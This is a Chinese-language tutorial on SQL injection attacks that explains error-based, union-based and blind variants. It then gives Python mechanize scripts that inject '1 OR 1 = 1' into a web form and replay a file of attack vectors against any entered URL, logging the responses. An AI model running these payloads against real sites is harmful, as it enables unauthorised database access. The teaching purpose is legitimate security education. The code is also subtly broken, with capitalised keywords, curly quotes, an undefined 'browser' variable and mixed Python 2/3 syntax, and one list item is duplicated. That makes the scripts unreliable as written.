Python滲透測試 - SQL注入網頁攻擊
SQL注入是一組SQL命令,這些命令放置在URL字串或資料結構中,以便從與Web應用程式連線的資料庫中檢索我們想要的響應。這種型別的攻擊通常發生在使用PHP或ASP.NET開發的網頁上。
SQL注入攻擊可以出於以下目的進行:
修改資料庫的內容
修改資料庫的內容
執行應用程式不允許的不同查詢
當應用程式在將輸入傳遞給SQL語句之前沒有正確驗證輸入時,這種型別的攻擊就會起作用。注入通常放置在位址列、搜尋欄位或資料欄位中。
檢測Web應用程式是否容易受到SQL注入攻擊的最簡單方法是在字串中使用“ ‘ ”字元,看看是否出現任何錯誤。
SQL注入攻擊型別
在本節中,我們將學習不同型別的SQL注入攻擊。攻擊可以分為以下兩種型別:
帶內SQL注入(簡單SQL注入)
推斷式SQL注入(盲注SQL注入)
帶內SQL注入(簡單SQL注入)
這是最常見的SQL注入。這種SQL注入主要發生在攻擊者能夠使用相同的通訊通道發起攻擊和收集結果時。帶內SQL注入進一步分為兩種型別:
基於錯誤的SQL注入 - 基於錯誤的SQL注入技術依賴於資料庫伺服器丟擲的錯誤訊息來獲取有關資料庫結構的資訊。
基於聯合的SQL注入 - 這是另一種帶內SQL注入技術,它利用UNION SQL運算子將兩個或多個SELECT語句的結果組合成單個結果,然後將其作為HTTP響應的一部分返回。
推斷式SQL注入(盲注SQL注入)
在這種型別的SQL注入攻擊中,攻擊者無法透過帶內方式看到攻擊的結果,因為沒有資料透過Web應用程式傳輸。這就是它也被稱為盲注SQL注入的原因。推斷式SQL注入進一步分為兩種型別:
基於布林的盲注SQL注入 - 這種技術依賴於向資料庫傳送SQL查詢,這會強制應用程式根據查詢返回TRUE還是FALSE結果返回不同的結果。
基於時間的盲注SQL注入 - 這種技術依賴於向資料庫傳送SQL查詢,這會強制資料庫等待指定的時間量(以秒為單位)後再響應。響應時間將向攻擊者指示查詢結果是TRUE還是FALSE。
示例
所有型別的SQL注入都可以透過操縱應用程式的輸入資料來實現。在以下示例中,我們編寫了一個Python指令碼,將攻擊向量注入應用程式並分析輸出以驗證攻擊的可能性。在這裡,我們將使用名為mechanize的Python模組,該模組提供了在網頁中獲取Web表單並促進輸入值提交的功能。我們還將此模組用於客戶端驗證。
以下Python指令碼有助於提交表單並使用mechanize分析響應:
首先,我們需要匯入mechanize模組。
import mechanize
現在,提供URL名稱,以便在提交表單後獲取響應。
url = input("Enter the full url")
以下程式碼行將開啟URL。
request = mechanize.Browser() request.open(url)
現在,我們需要選擇表單。
request.select_form(nr = 0)
在這裡,我們將設定列名“id”。
request["id"] = "1 OR 1 = 1"
現在,我們需要提交表單。
response = request.submit() content = response.read() print content
上述指令碼將列印POST請求的響應。我們提交了一個攻擊向量來破壞SQL查詢,並打印表中的所有資料而不是一行資料。所有攻擊向量都將儲存在一個文字檔案中,例如vectors.txt。現在,下面給出的Python指令碼將從檔案中獲取這些攻擊向量,並逐個傳送給伺服器。它還將輸出儲存到檔案中。
首先,讓我們匯入mechanize模組。
import mechanize
現在,提供URL名稱,以便在提交表單後獲取響應。
url = input("Enter the full url")
attack_no = 1
我們需要從檔案中讀取攻擊向量。
With open (‘vectors.txt’) as v:
現在,我們將使用每個攻擊向量傳送請求。
For line in v: browser.open(url) browser.select_form(nr = 0) browser[“id”] = line res = browser.submit() content = res.read()
現在,以下程式碼行將響應寫入輸出檔案。
output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’) output.write(content) output.close() print attack_no attack_no += 1
透過檢查和分析響應,我們可以識別可能的攻擊。例如,如果它提供的響應包含句子“您的SQL語法有錯誤”,則表示該表單可能受到SQL注入的影響。